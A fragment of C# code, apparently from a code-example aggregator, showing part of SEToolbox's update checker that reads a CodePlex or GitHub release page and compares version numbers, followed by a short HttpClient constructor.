                    webContent = webclient.DownloadString(updatesUrl);
                }
                catch
                {
                    // Ignore any errors.
                    // If it cannot connect, then there may be an intermittant connection issue, either with the internet, or the website itself.
                    return(null);
                }

                if (string.IsNullOrEmpty(webContent))
                {
                    return(null);
                }

                // link should be in the form "http://setoolbox.codeplex.com/releases/view/120855"
                link = webclient.ResponseUri == null ? null : webclient.ResponseUri.AbsoluteUri;
            }

            string pattern = "";
            if (repositoryType == CodeRepositoryType.CodePlex)
            {
                pattern = CodePlexPattern;
            }
            if (repositoryType == CodeRepositoryType.GitHub)
            {
                pattern = GitHubPattern;
            }

            var match = Regex.Match(webContent, pattern);

            if (!match.Success)
            {
                return(null);
            }

            var item = new ApplicationRelease {
                Link = link, Version = GetVersion(match.Groups["version"].Value)
            };
            Version ignoreVersion;
            Version.TryParse(GlobalSettings.Default.IgnoreUpdateVersion, out ignoreVersion);
            if (item.Version > currentVersion && item.Version != ignoreVersion)
            {
                return(item);
            }

            return(null);
        }
Ejemplo n.º 60
0
 /// <summary>
 /// HttpClient
 /// </summary>
 public HttpClient()
 {
     webClient = new MyWebClient();
 }